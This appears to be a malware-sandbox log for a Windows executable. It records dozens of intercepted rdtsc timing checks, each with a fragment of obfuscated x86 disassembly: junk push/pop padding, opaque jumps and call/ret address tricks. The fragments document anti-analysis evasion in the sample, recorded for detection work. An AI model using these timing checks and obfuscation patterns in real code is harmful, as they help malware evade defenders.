Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD1F2 second address: 6AD25A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0734D2B7B9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov cl, 12h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 mov cl, 5Bh 0x00000012 pop edi 0x00000013 call 00007F0734D2B7A9h 0x00000018 jns 00007F0734D2B7AEh 0x0000001e push eax 0x0000001f jbe 00007F0734D2B7BCh 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jl 00007F0734D2B7A6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD25A second address: 6AD264 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD397 second address: 6AD3A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD3A1 second address: 6AD3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD3A5 second address: 6AD3D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F0734D2B7B6h 0x0000000d nop 0x0000000e mov ecx, eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 clc 0x00000014 pop esi 0x00000015 push 25FF34D2h 0x0000001a jnp 00007F0734D2B7AEh 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD3D9 second address: 6AD448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 xor dword ptr [esp], 25FF3452h 0x0000000c pushad 0x0000000d add dword ptr [ebp+122D3220h], edx 0x00000013 jnl 00007F0734C6ABEAh 0x00000019 popad 0x0000001a push 00000003h 0x0000001c mov dx, 9100h 0x00000020 push 00000000h 0x00000022 or ecx, 655257C6h 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F0734C6ABE8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 movzx edx, dx 0x00000047 push E48E77DEh 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 pop eax 0x00000051 jmp 00007F0734C6ABF6h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD448 second address: 6AD452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F0734D2B7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD452 second address: 6AD485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 248E77DEh 0x0000000f xor dword ptr [ebp+122D5CF3h], ecx 0x00000015 lea ebx, dword ptr [ebp+12451E8Eh] 0x0000001b mov ecx, 0B681C20h 0x00000020 cld 0x00000021 xchg eax, ebx 0x00000022 jmp 00007F0734C6ABEBh 0x00000027 push eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push esi 0x0000002c pop esi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF0F second address: 6CEF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCD57 second address: 6CCD70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0734C6ABF1h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCD70 second address: 6CCD7D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCD7D second address: 6CCD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F0734C6ABEDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCD8F second address: 6CCD96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCD96 second address: 6CCD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD06B second address: 6CD070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD5BA second address: 6CD5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD8FB second address: 6CD901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDED8 second address: 6CDF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F0734C6ABE6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push ebx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop ebx 0x00000017 jmp 00007F0734C6ABF6h 0x0000001c jg 00007F0734C6ABF2h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF0D second address: 6CDF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE686 second address: 6CE68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE68E second address: 6CE695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE695 second address: 6CE69B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE69B second address: 6CE69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE69F second address: 6CE6BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0734C6ABF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEA8E second address: 6CEA94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEA94 second address: 6CEAB1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F0734C6ABE8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F0734C6ABE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1B13 second address: 6D1B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1B17 second address: 6D1B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1B21 second address: 6D1B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D04C7 second address: 6D04CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D04CD second address: 6D0501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnc 00007F0734D2B7A6h 0x00000015 jmp 00007F0734D2B7AAh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E451 second address: 68E469 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F0734C6ABE6h 0x0000000f popad 0x00000010 jp 00007F0734C6ABECh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7512 second address: 6D7539 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F0734D2B7A6h 0x00000009 ja 00007F0734D2B7A6h 0x0000000f jmp 00007F0734D2B7B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB2BF second address: 6DB2E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F0734C6ABE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB2E1 second address: 6DB301 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jl 00007F0734D2B7A6h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0734D2B7ACh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB301 second address: 6DB315 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0734C6ABE6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB315 second address: 6DB31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB31A second address: 6DB31F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA8A0 second address: 6DA8B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F0734D2B7A8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA8B9 second address: 6DA8C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734C6ABEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA8C7 second address: 6DA8E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB162 second address: 6DB168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB168 second address: 6DB16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB16C second address: 6DB174 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCA6F second address: 6DCAC0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 4BFD39AFh 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F0734D2B7A8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 call 00007F0734D2B7A9h 0x0000002e push eax 0x0000002f ja 00007F0734D2B7A8h 0x00000035 pop eax 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 je 00007F0734D2B7ACh 0x0000003f jg 00007F0734D2B7A6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCAC0 second address: 6DCB1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0734C6ABF9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edx 0x00000012 pushad 0x00000013 jno 00007F0734C6ABE6h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d mov eax, dword ptr [eax] 0x0000001f jng 00007F0734C6ABF0h 0x00000025 pushad 0x00000026 ja 00007F0734C6ABE6h 0x0000002c push edi 0x0000002d pop edi 0x0000002e popad 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F0734C6ABF3h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCC6F second address: 6DCC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0734D2B7AAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCF39 second address: 6DCF3E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCF3E second address: 6DCF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007F0734D2B7BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCF67 second address: 6DCF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCF6B second address: 6DCF6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD84A second address: 6DD85D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F0734C6ABECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD85D second address: 6DD861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD960 second address: 6DD964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDD0A second address: 6DDD10 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDD10 second address: 6DDD2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0734C6ABF8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDE7D second address: 6DDE81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE3A6 second address: 6DE3C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F0734C6ABF1h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE3C3 second address: 6DE42C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F0734D2B7A6h 0x0000000d jbe 00007F0734D2B7A6h 0x00000013 popad 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F0734D2B7A8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D37E0h], esi 0x00000036 stc 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F0734D2B7A8h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 push 00000000h 0x00000055 mov esi, 0C2DB4AFh 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push edi 0x0000005f pop edi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE42C second address: 6DE447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F0734C6ABE6h 0x0000000d js 00007F0734C6ABE6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BB5E second address: 69BB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F0734D2B7B1h 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F0734D2B7B9h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BB98 second address: 69BBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F0734C6ABE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3414 second address: 6E3422 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E31AD second address: 6E31C6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F0734C6ABE6h 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3422 second address: 6E34A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F0734D2B7A6h 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 sub edi, dword ptr [ebp+122D26E8h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F0734D2B7A8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 jl 00007F0734D2B7BCh 0x0000003d call 00007F0734D2B7AFh 0x00000042 mov dword ptr [ebp+122D2AEFh], eax 0x00000048 pop esi 0x00000049 push 00000000h 0x0000004b jng 00007F0734D2B7ACh 0x00000051 mov edi, dword ptr [ebp+122D2CF8h] 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d pop ecx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E34A0 second address: 6E34A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E34A6 second address: 6E34B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734D2B7AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E34B9 second address: 6E34CA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB6D6 second address: 6EB6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7B5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F021 second address: 69F04B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F0734C6ABF0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F04B second address: 69F04F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F04F second address: 69F05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F0734C6ABE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE66 second address: 6ECE7C instructions: 0x00000000 rdtsc 0x00000002 js 00007F0734D2B7ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBFBF second address: 6EBFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECFF8 second address: 6ECFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECFFC second address: 6ED00E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F0734C6ABF0h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF075 second address: 6EF0AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jo 00007F0734D2B7A6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F0734D2B7AEh 0x00000017 jmp 00007F0734D2B7B4h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE17D second address: 6EE181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE181 second address: 6EE185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
